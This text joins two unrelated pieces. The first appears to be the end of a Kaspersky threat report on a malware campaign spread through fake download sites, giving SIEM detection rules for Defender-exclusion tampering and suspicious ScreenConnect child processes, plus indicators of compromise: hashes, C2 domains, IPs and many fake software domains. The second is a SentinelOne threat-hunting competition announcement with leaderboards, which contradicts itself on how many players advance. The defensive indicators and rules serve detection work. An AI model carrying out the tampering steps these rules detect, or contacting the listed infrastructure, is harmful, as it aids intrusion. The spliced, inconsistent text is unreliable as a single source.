To visualize the stages of the attack, security teams can utilize Kaspersky Cloud Sandbox on the Threat Intelligence portal. For instance, this tool allows defenders to map out the entire deployment and payload execution chain originating from the initial VBS dropper.

Furthermore, the Kaspersky Threat Intelligence portal supports searching and graphing the connections between malicious domains and files involved in this campaign, as demonstrated in our adversary infrastructure analysis section.

Finally, the Similarity engine within Kaspersky Threat Analysis profiles file contents to hunt down samples resembling the original threat, helping organizations identify new or previously undetected malicious objects.

To protect companies using our Kaspersky SIEM system, there are rules available in the product repository to help detect this type of malicious activity.

• Adding exclusions to Windows Defender scans via the registry is detected by rule R241_Modification of Windows Defender exclusions through the registry. Adding exclusions via PowerShell (Add-MpPreference -ExclusionPath|ExclusionProcess) is detected by rule R076_04_Windows Defender settings disabled or changed via PowerShell.
• Bypassing the UAC mechanism by modifying the ConsentPromptBehaviorAdmin registry key is detected by rule R242_UAC disabled through the Windows registry.
• Running VBS scripts from a public directory triggers rule R290_07_Running VBScript files from shared folders.
• Creating a scheduled task that runs an executable file from a public directory triggers rule R099_01_Scheduled task started from a public folder.

For the rules to function correctly, it is necessary to configure event 4657 (Security) audit for the following registry keys:

• HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths
• HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Procesess
• HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin

Additionally, when developing your own detection rules or conducting threat hunting for suspicious ScreenConnect behavior, we recommend monitoring the following events:

• Creation of the ScreenConnect service with suspicious parameters
  

  DeviceEventClassID = '4697' 
  AND FileName LIKE '%ClientService.exe%' 
  AND (FileName LIKE '%e=Access%' OR FileName LIKE '%e=Support%')

• Launch of atypical child processes from the ScreenConnect service
  

  DeviceEventClassID = '4688'
  AND match(SourceProcessName, '.*\\\\ScreenConnect\\.(ClientService|WindowsClient|WindowsBackstageShell|WindowsFileManager)\\.exe')
  AND match(DestinationProcessName, '.*\\\\(powershell|cmd|net|schtasks|sc|msiexec|mshta|rundll32)\\.exe')

Indicators of compromise

Loaders

B32810973132D11AFD61CCEE222BBB79
5B7E1FE55BD7B5EA54BD4ED1677E5A26
9A9CCD8B0E5D05F4EE77667B024844DB
0EEE9BAD07E22415439E854657FA1366
8F4E8B680D3E8D3F5AC39BD72882F713

Malicious library: install.res.1033.dll

5F96C04E3AFAE97017B201BE112284D2
73BEAD922109A61E5F9F85771A7812C5
EDFF4F58722C93D7C09ED71899416396
83601C3D4ED28E8D2BE1B99BEB8EC18C
695E794631EF130583368770E7B81E98
83601C3D4ED28E8D2BE1B99BEB8EC18C
1E6A5C7B620D487D0CFC6874C3B77C90
54025CE2A9405039899FE99A1D77E0BB
BD05FCF80E493CF9AA71EC510319469D
999A63730C9634481D1D76955A2E76A8
479BD3BB617B39CD4A46D0768A2592D4
776DFD3DF9C04BB9FCDD6C1880C3761A
8E4C57358A66EB14D31ABB614DDC68DE
A40D3AEB0DAE5B00BDB3A517F3135BBB
A85A5BFDCB7C65AB93043B8CF9E20065
01325880EFFFEC546F59490089A3B415

AsyncRAT C2

mora1987[.]work[.]gd

Fake websites addresses

ds4windows[.]io
direct-download[.]giize[.]com
tmodloader[.]org
tmodloader[.]app
ds4windows[.]net
losslessscaling[.]app
processhacker[.]dev
steamtools[.]pro
dnsjumper[.]app
free-download[.]camdvr[.]org
defendercontrol[.]org
dns-jumper[.]com
cpuz[.]app
processhacker[.]org
processhacker[.]app
steamtools[.]cc
cpuz[.]pro
wallpaper-engine[.]app
processhacker[.]net
antimicrox[.]net
defendercontrol[.]app
tmodloader[.]pro
dnsjumper[.]io
bandicam[.]app
mgba[.]app
dnsjumper[.]pro
ferdium[.]app
ds4windows[.]pro
lossless-scaling[.]online
defender-control[.]com
gom-player[.]app
defendercontrol[.]pro
lossless-scaling[.]download
antimicrox[.]pro
mgba[.]pro
lossless-scaling[.]app
losslessscaling[.]pro
mgba[.]dev
tmodloader[.]download
tmod-loader[.]com
defendercontrol[.]download
ferdium[.]pro
deadreset[.]com
gom-player[.]net
crosshairx[.]pro
libreoffice[.]pro
studioobs[.]com
studio-obs[.]net
crosshairxv2[.]com
km-player[.]com
corel-draw[.]net
glary-utilities[.]com
download-full-version[.]ooguy[.]com
crosshair-x[.]com
kms-tools[.]com
studio-obs[.]com
crosshairx[.]net
clair-obscur-33[.]com
vlc-player[.]net
arksurvival-ascended[.]com
elden-ringnightreign[.]com
ready-ornot[.]com
arma-reforger[.]com
crusader-kings[.]com
crosshairx2[.]com
mediaplayerclassic[.]net
bandizip[.]pro
obs-studio[.]site
ovr-advanced-settings[.]com
studio-obs[.]pro
vlc-media[.]com
clair-obscur-33[.]town
ovr-toolkit[.]com
crusader-kings[.]church
bandizip[.]net
apexlegends[.]org
obs-studio[.]pro
vlc-media[.]net
crosshairx[.]site
monster-hunterwilds[.]com
km-player[.]pro
mediaplayerclassic[.]pro
kms-tools[.]net
fernbus-simulator[.]com
studioobs[.]pro
bandicam[.]cc
crystaldiskmark[.]cc
crystaldiskmark[.]io
crystaldiskmark[.]dev
crystaldiskmark[.]app
crystaldiskmark[.]pro
bandicam[.]io

Fake domain infrastructure

fileget.loseyourip[.]com
file-download-crosshairx.giize[.]com
all-toll-free.loseyourip[.]com
mpc-update.giize[.]com
all-toll-free.publicvm[.]com
198.23.185[.]81
direct-download.giize[.]com

ScreenConnect C2

servermanagemen[.]xyz
185.254.97[.]249
r.manage-server[.]xyz
45.145.41[.]205
winservec[.]net
manageserver[.]xyz
cloudsynn[.]com
pingserv[.]pro
ehostservers[.]xyz
serverdnsplan[.]net
pingpanl[.]pro
managedevice[.]xyz
edgeserv[.]ru

The Threat Hunting World Championship is back — bigger, bolder, and with more on the line than ever. Sentinels League 2026, presented by SentinelOne® in partnership with DropZone AI, Google Cloud, and Mimecast, now is open for entries, and the best threat hunters on the planet are already sharpening their edge.

This year’s championship brings a new 30-minute game format, a $100,000 prize pool, and one of the most demanding tests in cybersecurity competition. If you hunt threats for a living, or you want to prove you can, this is where you belong.

Leagues Menu Quick Jump

• Americas League
• Asia League
• Europe League

What Is The Sentinels League?

Sentinels League is SentinelOne’s global threat hunting competition — a multi-stage championship that runs from June through October 2026, culminating live at OneCon in Las Vegas.

Every game is grounded in real-world attack patterns, real detection logic, and real operational pressure. Players go head-to-head across four games: Endpoint, Cloud, SIEM, and AI and capture flags of varying difficulty in high-intensity 30-minute qualifiers that test the exact skills defenders use in the field every day.

From June through August, qualifying games run online and in-person across the globe. The top 100 players per region then climb their Sentinels League standings and advance to the Regional Finals. Finally, three regional champions earn an all-expenses-paid trip to OneCon in Las Vegas for the Grand Final where one player is crowned Threat Hunting World Champion 2026.

Four Games. One Championship.

• Endpoint — Hunt down and remediate vulnerabilities in scenarios drawn directly from real incident data.
• Cloud — Track and eliminate threats across multi-clouds under time pressure.
• SIEM — Assert your detection dominance in real-time hunting and remediation challenges.
• AI — Go up against AI-generated threats and leverage AI-powered tools in scenarios built from the latest attack campaigns.

You can enter each game once across the qualifying season. Your combined score is what earns your place in the standings.

What You’re Playing For

Over $100,000 in prizes is distributed across every stage of the competition from the first qualifier through to the Grand Final.

In each online qualifier, payouts begin at first place and run all the way to 15th. First place takes $200, second takes $150, and the third, $100. Everyone from 4th to 15th walks away with $75. In total, there are 48 qualifiers in the season and every one of them pays.

Reach the Regional Finals and the stakes sharpen considerably. First place in your region is worth $2,500, with prizes distributed through to 15th place. For the three regional champions that make it to Las Vegas and the Grand Final, you’re competing for a $5,000 first prize, a portion donated to the charity of your choice through the S Foundation, and the trophy that belongs to only one person in the world.

The Road to Las Vegas

Qualifying Stage | June–August

Play each game once across 40+ online and in-person qualifiers across the globe and combine your scores. In this stage, the Top 200 per region will advance to Regionals.

Regional Finals | September

Tune in for the online showdown of the best hunters from each region — Americas, Europe, and Asia. From here, three regional champions progress to the Grand Final.

Grand Final at OneCon in Las Vegas | October

Three finalists, one stage. The World Champion is crowned live at OneCon26 and takes home the title, the trophy, and the grand prize.

Sentinels League Standings

Standings update weekly throughout the qualifying season. Bookmark this page and check back every week to track your climb and see who’s gunning for your spot. The Top 200 per region advance to the Regional Finals.

Americas League

Rank	Alias	Country	Played	Points
1	tresscross		4	1418
2	chiefkief		4	1315
3	staas		4	1235
4	BGrad		4	1150
5	GTNR		4	1095
6	ShinyShark		4	1026
7	JaredF		4	1018
8	DanielC		4	1009
9	WZRD404		4	998
10	nabiljain		4	982
11	Joshua_Eom		4	965
12	Evan		4	950
13	Justin		4	946
14	1-2-3-4		4	936
15	dk144		4	936
16	wardspan		4	880
17	riskybusiness		4	875
18	jydnx		4	873
19	jcob		4	864
20	theycallmetim		4	861
21	spookylukey		4	854
22	rhamiltontc		4	845
23	ifosterTC		4	835
24	ThreatSlayer		4	835
25	duotech		4	830
26	CmdrDataLake		4	822
27	j05h		4	785
28	Bumble_Fudger		4	765
29	Cwallis		3	759
30	smurph		4	752
31	0xf4d3		4	737
32	Robin-Banks		4	730
33	relogonm		4	726
34	maverick		4	721
35	alpal		4	720
36	MacLellan		4	710
37	vector_sec		4	706
38	khan		4	690
39	mr_bumbles		4	690
40	icy		4	685
41	AgroBoy		4	676
42	CyberSaiyan84		4	661
43	HiggsB		4	635
44	JeffLeder		4	626
45	hackerpanu		4	606
46	jmontalbano		4	600
47	4thelulz1		4	598
48	alevine		4	589
49	BAE_Force_1		4	580
50	OneManFirewall		4	580
51	ECOLI		4	545
52	DustyV		4	543
53	mmazis		4	542
54	ceraalorca		3	533
55	katze		4	533
56	Jen		4	528
57	SHWON		4	528
58	zerodavid		4	528
59	cybertricoteuse		4	521
60	HaircutFish		4	519
61	mgras		4	500
62	CmdnControl		4	495
63	Diasum		4	488
64	CyFi		2	485
65	Greavard		4	483
66	luminous_kestrel		4	478
67	Max		3	478
68	mandyjones		3	476
69	nmkoester		4	475
70	NateD		4	473
71	ProfessorNerdly		4	473
72	ninjacat		4	471
73	HikingHacker		4	466
74	Richieee		4	455
75	aavant		4	452
76	Xogarth		4	446
77	benthehen100		3	445
78	CanieXylander		3	445
79	Romulus		4	442
80	InfoSecBret		2	424
81	zero_cool		3	420
82	ElectricEel		4	419
83	sh3llder		2	410
84	BeanPipe		2	405
85	work_jpj		4	405
86	5h33pd06		4	404
87	CryptoCat		2	403
88	Stryker81		4	403
89	wadebuhr		4	403
90	rriegert		4	400
91	y1nmn		3	390
92	Average_Hunter		4	389
93	Cake		2	380
94	Ulric		4	380
95	Dharo		4	374
96	Spinja77		4	371
97	M1racle		4	370
98	mathecarv		1	365
99	JayHole		4	361
100	tytinz		4	361
101	Zer0d4y		4	347
102	dexterslab		4	343
103	SOCMonkeyz		4	341
104	Recovery13		3	340
105	slash		4	324
106	Nunya_Jones		4	321
107	___		2	320
108	GnomeMansLand		2	316
109	rob454		4	313
110	GreenApple404		4	311
111	SunnyShah		3	310
112	JessB		4	309
113	VoidStalker		4	308
114	mprof		4	294
115	Th3Gr33kDK		4	286
116	MngdAttribution		4	284
117	ahsan		4	279
118	Alakazam		3	275
119	PolloMax		3	273
120	Kucster		1	270
121	SilentByte		3	270
122	Nin		2	268
123	Demi		2	265
124	vesche		1	265
125	egg		4	263
126	Akill-X		2	260
127	Ovens		3	251
128	SN1ps		1	250
129	xenno		2	250
130	drpolloman		4	245
131	FlawlessCowboy		3	243
132	Antifuse		4	228
133	Dagon		4	227
134	alex		2	220
135	Miko		3	220
136	boy		2	218
137	handyC		2	218
138	LeonQ		4	215
139	topsirloin		3	215
140	Chef-P		2	211
141	noName		3	211
142	Brown33		1	208
143	RUDeadYet		4	206
144	GoldenSand		2	205
145	Bearzy		3	202
146	MRob		2	200
147	tmustache		1	200
148	alex1		3	195
149	bbaldini35		4	194
150	chris_w		1	193
151	pittbull_2026		2	192
152	Siegfried		4	192
153	EBlum		1	190
154	gstach		4	187
155	lazycatlady		4	181
156	yul10		4	181
157	domkrag		2	180
158	mr_rob0t404		3	180
159	Nerf		2	175
160	Rkermit		1	174
161	ZachsAlt		3	168
162	ctrlaltwho		4	166
163	zer0day		1	165
164	alexs		4	161
165	ammo		1	160
166	AGoat		1	159
167	Neeel		3	159
168	ekalmbacher		3	158
169	k1ng0fg0ds		3	158
170	alan		2	155
171	Magnar		4	155
172	paula_s		3	155
173	Delta01		2	151
174	FictionalSoup		1	151
175	efgh000		4	150
176	MoutainMan805		4	147
177	Gent		1	145
178	Kyle		1	145
179	Monsieur_Renegat		4	144
180	Trogon		2	143
181	frazzl3d		2	138
182	James_0		3	137
183	shredark		3	130
184	Jin-Sec_Enforcer		1	128
185	Cyber_Rich		1	126
186	bot		1	125
187	kevin		2	124
188	Alex		1	120
189	dusty_cheeto		1	120
190	Leah_Mnz		1	120
191	S0ra		2	120
192	TJSperry		1	120
193	go_cody		2	119
194	ProbablyBenign		1	115
195	ana7z		2	114
196	mrryan		3	114
197	ttbaba52		2	113
198	DVS1		2	110
199	Dohnut		4	108
200	KKonda		2	108
201	mnr		1	108
202	antomic		1	105
203	Loki		4	105
204	haxxortrax		2	103
205	paul		1	100
206	Andrewsro		4	98
207	Cyber_Cowboy		1	98
208	Bolap		1	96
209	Honu		1	94
210	aBryant		4	93
211	jh34		2	93
212	d4rkM4tt3r		4	91
213	Brute_Force		1	90
214	dbeal		2	90
215	Ocensnimer		2	85
216	james_graichen		4	83
217	foil		2	81
218	CarlosOwO		1	80
219	Drakonborn		1	80
220	Hossein		1	80
221	Imac		4	79
222	D-Money		3	76
223	G_Masala		4	76
224	jocyclara09		1	75
225	Cyril		1	73
226	Anunymous18		1	70
227	dmilutinovic		1	70
228	Flynn_Mota		1	70
229	JacobK		1	70
230	wcheung		1	70
231	BigRedCharlie		1	68
232	D3f1anT_Actual		1	68
233	jucai		2	68
234	eec1m		2	67
235	Vuldar		1	66
236	ByteBlossom		1	63
237	atthebagelshop		1	60
238	lamanteran		1	60
239	MikeyB		1	60
240	Conficker		3	59
241	glacier		4	59
242	Ak1895		1	58
243	s1moesz		1	58
244	SFIcedEdition		2	58
245	ShadowZero		1	58
246	bigheadted		3	57
247	goldfingerprints		2	57
248	Trace404		2	56
249	Godfotter		4	50
250	JDC		1	50
251	sclayton		1	50
252	sabalala		3	49
253	Al_Capwn		1	48
254	garfield		1	46
255	Gatekeeper		2	45
256	kswag		1	45
257	osayolb		1	45
258	R3yK0nG		2	45
259	nhs		3	44
260	J-S		1	43
261	CyberNeverQuits		1	42
262	Isabella_Plata		1	42
263	Tin1		2	42
264	psalmon		2	41
265	b6rim		1	40
266	Evimero		1	40
267	jarthurmesere		3	40
268	Bryce		1	38
269	Ethical_Danny		1	38
270	george_r		2	38
271	s0l3mn		1	38
272	Utefan-07		1	38
273	ashah		1	35
274	hue		1	35
275	joma67		2	35
276	MaddieChar		2	34
277	william		1	34
278	p0p0		2	33
279	sourabhdhawan		2	33
280	Abrie		2	30
281	rshrestha		1	30
282	codycodycody		1	28
283	gro		1	28
284	IronMouse		1	28
285	HYP3r1us		1	25
286	notnotmimi		1	25
287	AZNATTA		4	24
288	SOC-Hunter		2	23
289	gr3mlin		1	21
290	0xdecaf		1	20
291	dcastellanos		1	20
292	Mbonner		2	20
293	tumbleweed0101		1	20
294	Neo		1	19
295	0DAY		3	18
296	DOM_inject		1	18
297	hiddentek		1	18
298	Survivor4Ever		1	18
299	v1k		1	18
300	ELaura		1	16
301	aemiro		2	15
302	Mel_m		1	15
303	Mong0		1	14
304	Cledmir		1	13
305	NWillis		2	12
306	yrpowell89		1	12
307	radha		1	10
308	raikoti22		1	9
309	enzomanzanares		1	8
310	SitAegis		1	8
311	Capt_Parolsky		1	6
312	CyberChop		1	6
313	Kakarot		1	5
314	Loading		1	5
315	HereSwishySwishy		1	4
316	Jordangv99		1	4
317	Lorthar2488		1	4
318	moram		1	2
319	ShadowStryx		1	2
320	ksecurity		2	1
321	santodominicano		1	1
322	7cuer0s		1	0
323	aegiya		1	0
324	aless		1	0
325	alfred		1	0
326	Alvez		1	0
327	bao2		1	0
328	billy		1	0
329	BLUEDROID2027		1	0
330	brd55		1	0
331	Cocorocho		1	0
332	Cody_ronk		1	0
333	cyberdolo		1	0
334	daemon_hunter		1	0
335	DDON		1	0
336	ih1920		1	0
337	ips0		1	0
338	ips1		1	0
339	ivanht		1	0
340	khyati		2	0
341	kiko		1	0
342	KSS		1	0
343	Lionel		1	0
344	Lior		1	0
345	Lued1102		1	0
346	MacPolloZ		1	0
347	MartiNEZ		1	0
348	MojoRojo		1	0
349	paguilarLNX		1	0
350	philipe		1	0
351	potatobot		1	0
352	raul		1	0
353	Rober23		1	0
354	robin		1	0
355	RodHA		1	0
356	RWill		1	0
357	SBS		1	0
358	stinger		2	0
359	TheGoodOne		1	0
360	TheRealThreat		1	0
361	Yaku		1	0
362	parisa2301		1	-1
363	datagrammar		1	-2
364	forzie		1	-2
365	rodrigonsoares		1	-2
366	Triminator		1	-2
367	JadeX		1	-4
368	npegler		1	-4
369	RedRobin		1	-4
370	Cole		2	-5
371	Chewie		2	-6
372	Berry		4	-7
373	Jimy_Xerxes		1	-8
374	cl0wnbaby		2	-10
375	Juann		1	-10
376	SpartanCat		1	-10
377	vlAI		1	-10
378	wagrodrigo		1	-10
379	weekndr_sec		1	-13
380	Tony_Willey27		1	-14
381	mccull415		1	-18
382	detectiveBugX		1	-20
383	FJhh		2	-20
384	Xxv		2	-20
385	PJE		4	-28
386	bokal		1	-30
387	Vir1616		1	-37
388	Alex		2	-76
389	Pixie_12		2	-119

Asia League

Rank	Alias	Country	Played	Points
1	reeshee		4	1475
2	Hariom		4	1252
3	MoldyCups		4	1173
4	Rishabh		4	1156
5	Ikshvaku		4	1140
6	numerouno		4	1129
7	Zero2One		4	1075
8	JoeS		4	1058
9	Johncena		4	1045
10	caleb		3	1020
11	pkt1112		4	1020
12	Alps		4	1008
13	potat		4	1000
14	wooper_enjoyer10		4	973
15	Hopyoprop		4	962
16	SP100		4	940
17	nonder		4	895
18	shax		4	893
19	bloke-hack		4	856
20	0xDariusNG		4	814
21	k0i3n		3	757
22	hemalsoni22		4	756
23	HoneyTehO		4	755
24	ShadowHunter		4	741
25	vihan11		4	721
26	NotFound		4	716
27	VP_03		4	711
28	marshe		3	706
29	manthan1501		4	703
30	Reset		3	690
31	Rockster		3	680
32	Rockster31		3	680
33	Pichayut		4	674
34	Absol		4	645
35	PowerPuffGirl		4	645
36	Hackerbox		4	611
37	krisshh		4	603
38	Katarina		4	597
39	DingDong		4	593
40	Ash11		4	587
41	bobsburger		3	585
42	Incognito		4	583
43	Julrob		3	578
44	pessy		4	570
45	LVarma		3	559
46	Rusher		4	556
47	Zombie		4	556
48	injun		4	546
49	Rupam		2	545
50	Utkarsh2726		4	530
51	Shreya		4	523
52	Sujin		4	523
53	gwthm01		4	516
54	White_W01f		2	516
55	Sp4c3K		3	513
56	DFIRanalyst22		4	511
57	D1vy		4	510
58	M_N18		4	505
59	TheCyberHokage		3	502
60	cyslay		2	496
61	grumpycat		4	489
62	Anshul		4	486
63	Hyena		4	479
64	b4ngm4n		4	468
65	Siwoo		4	465
66	Zombieee		4	446
67	sandy		3	443
68	ansal11		3	440
69	l3Iadk		4	440
70	Mingi		4	433
71	sam		4	431
72	nothingonherebro		4	420
73	Tai		4	419
74	Mr_Flexible		3	412
75	who1sm3		2	410
76	sheefa		4	408
77	AnujKumar		3	401
78	peachydonuts		4	396
79	VIPER		4	390
80	GrantH		4	375
81	Tarak		3	369
82	CyberThreats		1	368
83	ArcNova		3	366
84	ansar13		3	364
85	Jay		3	364
86	MrHokage		4	363
87	The_BeeKeeper		4	361
88	Breezeway_MDRONE		4	354
89	HNVN		4	350
90	kammo_don		1	350
91	Krxsx		2	350
92	SamKamtekar		4	347
93	Mohammed		3	346
94	griffin-tech		4	345
95	Minyoung		3	345
96	v14		3	331
97	Anusthika		3	325
98	M_Negi		4	325
99	VIPER_JH		4	308
100	songjm		4	306
101	ThePunisheeer		4	305
102	ShinyHunter		1	304
103	BrownDefender		3	299
104	vt-ktk		1	298
105	nymos		4	293
106	ThreatYakuza		2	289
107	SmolAME		4	283
108	Hamrash		3	280
109	AK47		1	270
110	Vishal_01		1	270
111	TigerHawk		1	263
112	RCB-11		4	260
113	Parshwa		1	256
114	gnsehfvlr		2	253
115	abhesinh		4	249
116	ngonum		1	248
117	Leofire		2	245
118	giosblue		4	242
119	noctur3		1	240
120	PLZ_ENTER_TEXT		4	238
121	rajkul		3	231
122	Saba07		1	230
123	Saurav		1	230
124	vkt11		2	230
125	HarryPotter		1	226
126	ChampRR		2	225
127	uzi		2	225
128	mintbomb27		4	222
129	mop4ck		3	221
130	ditto		1	220
131	haxormad		1	220
132	HYEOK		4	219
133	nanthuNS		2	218
134	Alakamana		1	215
135	ss0001		1	215
136	teo		3	215
137	MysticSparta		2	214
138	H983r		2	208
139	Revil		3	205
140	ezhunt		4	204
141	sec_r		4	201
142	parameter		1	200
143	shubham_cas		1	200
144	Tk123		2	200
145	Shawn_Kwak		4	192
146	Chirag24		1	180
147	Faith		3	180
148	Pumpkin_18		1	180
149	Reddy_312		2	178
150	Om_Chendvankar		3	173
151	booteamer		1	170
152	King7		2	170
153	MSI		3	168
154	prithviraj		3	168
155	Kaarthik		2	166
156	Pather27		3	164
157	Vecna03		2	164
158	AvinD		3	162
159	Dipal		1	161
160	amitkp		1	160
161	shumaz_khan		3	160
162	PranavT		1	158
163	Aradhna		3	153
164	CCCC		3	153
165	kumar		1	150
166	SOC		3	150
167	tamhan		4	150
168	Pixie_08		4	145
169	Hey_nitish		2	144
170	T-S		3	144
171	DrSquarepants		3	136
172	aVc_Sentinel		3	135
173	TI-MG		2	134
174	Attacker291		4	131
175	gookbap		1	130
176	MSB1309		1	128
177	Blueteam09		2	126
178	Shruzzz		1	126
179	Shan		3	121
180	host		1	120
181	luvptg		1	120
182	ouoaaa		1	120
183	LL-Auriga		2	119
184	babuk07		1	116
185	XHUNT		3	116
186	Rajiv		1	115
187	Ravi555		4	113
188	ShadowHex		3	113
189	root		4	112
190	AshDope7		3	111
191	Napster007		2	111
192	Andro6		1	110
193	DXN		1	110
194	pdabhade		1	110
195	fchw		1	109
196	JeebyaHTB		4	109
197	musti_28		1	108
198	RedBaron		4	106
199	Sire		3	105
200	oxy		2	104
201	StranJer		2	104
202	prajeetg		1	102
203	andrew_cI		3	101
204	bibbidi		2	100
205	Vato		1	100
206	Suren		1	98
207	ansar		3	96
208	Jinesch13		2	96
209	Ninad_Gurav		1	96
210	Shawn		2	96
211	CybDefender		3	95
212	nymos		3	95
213	kzslacker		3	94
214	tIxEd		2	93
215	matrix		4	91
216	S_Jadhav		1	90
217	J3anW		2	88
218	SSJ		2	87
219	glitchMonkey		2	85
220	mrrobot		1	85
221	unknownman		1	85
222	ShivamThakur01		2	84
223	Babyshark		1	83
224	EclipseManic		1	83
225	Obfuscated_LOL		1	83
226	Adity		3	80
227	Parzival_13		1	80
228	omshrisawant		1	78
229	heogi		2	75
230	altair0-0-0-0		2	73
231	Chary_RKC		3	71
232	Chilai		1	70
233	salad		1	70
234	spicy_panner		1	70
235	MSJ		1	68
236	RootingMachine		1	68
237	soloforce		1	68
238	FoxH		1	65
239	sgkk		1	65
240	totoro		1	65
241	PerryKO		2	64
242	gr00t		2	63
243	sameer		4	62
244	bin10		1	61
245	Mr_Error_From_TN		1	60
246	prateek5		1	60
247	sunil		3	60
248	RaaV		1	58
249	Eesha		4	56
250	Optimus		1	56
251	blueteamnoob		1	55
252	alem		2	50
253	azhar		2	50
254	S41NT		1	50
255	Ad0005		1	48
256	13001e		1	45
257	akshay_hacker		1	45
258	cwasright		2	45
259	Hacker__Case		1	45
260	Moon		1	45
261	Sinchana		1	45
262	Jef		1	43
263	mtu0333		1	43
264	Zammm29		1	43
265	AVu		4	41
266	drake		3	40
267	me0w2en		1	40
268	Yuki		4	40
269	Dinesh		1	39
270	PHEAKRO		2	39
271	harshad101		1	38
272	SecOps		2	38
273	Zac		1	38
274	BADAnu		1	36
275	Darkfairy		1	36
276	Jyoti		1	36
277	Zoomlnwza007		1	36
278	Agk6		1	35
279	Expillamous		1	35
280	KHAN		1	35
281	Spider		1	35
282	Dia		3	34
283	LargeGoose		1	33
284	Sire		1	33
285	Triveni		1	33
286	ashley		1	32
287	Kali		2	32
288	Kanpur		1	32
289	ken_CTF		1	30
290	VeeK		1	30
291	Abhiramhere		1	29
292	krish		3	29
293	Default_User		1	28
294	San		1	28
295	Sanjxy		1	28
296	Will		1	28
297	NirmalDillan		1	26
298	Sagar		1	24
299	Gowda		2	23
300	Saiteja1314		2	23
301	sameer_2410		3	23
302	sreelakshmi		1	23
303	ojasav		2	22
304	hellohex		1	21
305	tigerkali		1	21
306	vinesaj		1	21
307	aichi_aito		2	20
308	Ash		1	20
309	JokerConnected		1	20
310	madhih		1	20
311	mgoyal		1	20
312	mukes		1	20
313	Somu		1	20
314	teaspark		1	20
315	ahmad		2	18
316	Arifa		1	18
317	Riddhita		1	18
318	Santosh		1	17
319	Shiva		1	15
320	sole_07		3	15
321	adika		1	14
322	Alvo		3	14
323	hieudn		1	14
324	3m_1_R3aL		1	13
325	astral		1	13
326	Hunter_54		1	13
327	NegativePointer		2	11
328	OSINT_DFIR		3	11
329	Cyduck		1	10
330	Dhruv		1	10
331	meong		3	10
332	Schutheysan		1	10
333	tsubasa		1	10
334	Vishnusoc		2	10
335	JObi		1	9
336	dani-mas		1	8
337	Fayas		1	8
338	pallavi		2	8
339	thinksysarmy		1	8
340	Vaishnavi		1	8
341	Nirali		2	7
342	Brute_Forcer		1	6
343	Roker		1	3
344	ashipaul		1	2
345	ghost1nwires		1	1
346	1uCif3R		1	0
347	abdul		1	0
348	Albiii		1	0
349	ArghyaC		1	0
350	ayaal		1	0
351	Bharat		1	0
352	buttercup		1	0
353	chow		1	0
354	CyberHokage-BY		1	0
355	D_Div		2	0
356	DouglasHaig		1	0
357	fudu1102		1	0
358	GOBLIN		1	0
359	Guneetsehgal		1	0
360	Jitendra_Gupta		1	0
361	JoJo		2	0
362	jst		1	0
363	lilyleang		1	0
364	me0w2en		1	0
365	modiji		1	0
366	Mukeshdanuskodi		1	0
367	Nani_50014312		1	0
368	nidhi		1	0
369	NOMAD		1	0
370	OSWin		1	0
371	Paw009		1	0
372	RajatS		1	0
373	RWei		1	0
374	Santhiya		1	0
375	shalender		1	0
376	SHIVAM		1	0
377	Sin		1	0
378	skkcyb3r		1	0
379	syunari		1	0
380	Theorist		1	0
381	UDubey		1	0
382	ved		1	0
383	vinay-collen11		1	0
384	ye11oc4t		1	0
385	zala		1	0
386	zkhaan		1	0
387	great_kv		1	-2
388	IND-Fury		1	-2
389	kshitijsinha		1	-2
390	nidhi		1	-2
391	qragrau		1	-2
392	Rahul		1	-2
393	rsm11		1	-2
394	Deepak		1	-4
395	Shadow		1	-4
396	Radahn		2	-5
397	ShadowWarrior		1	-5
398	Ghost_Operator		1	-7
399	Jkk		2	-8
400	SAM1		2	-9
401	SOC_Admin		1	-9
402	hackpure		1	-10
403	the3hats		1	-10
404	Vk_02		2	-12
405	matcha		1	-16
406	AnandBabu		1	-19
407	pincode		2	-19
408	FelonyBoy		1	-20
409	vineetmoses		1	-20
410	A_R		1	-22
411	danielSALTT		3	-22
412	vo1d		1	-24
413	ZAMHunter		1	-27
414	Chan1999		1	-28
415	ManikandanV		2	-28
416	Sheshell		2	-30
417	prakhar3125		1	-35
418	Red		1	-48
419	Mubasheerpmr		1	-59
420	Jasprit		1	-62
421	Prapti		1	-66
422	Hakai		1	-75
423	Nandan		1	-80
424	Marv		1	-87
425	Suryaprakash		1	-158
426	Rocko_Smith		2	-209
427	St3ll4		3	-283
428	War_Panda		1	-300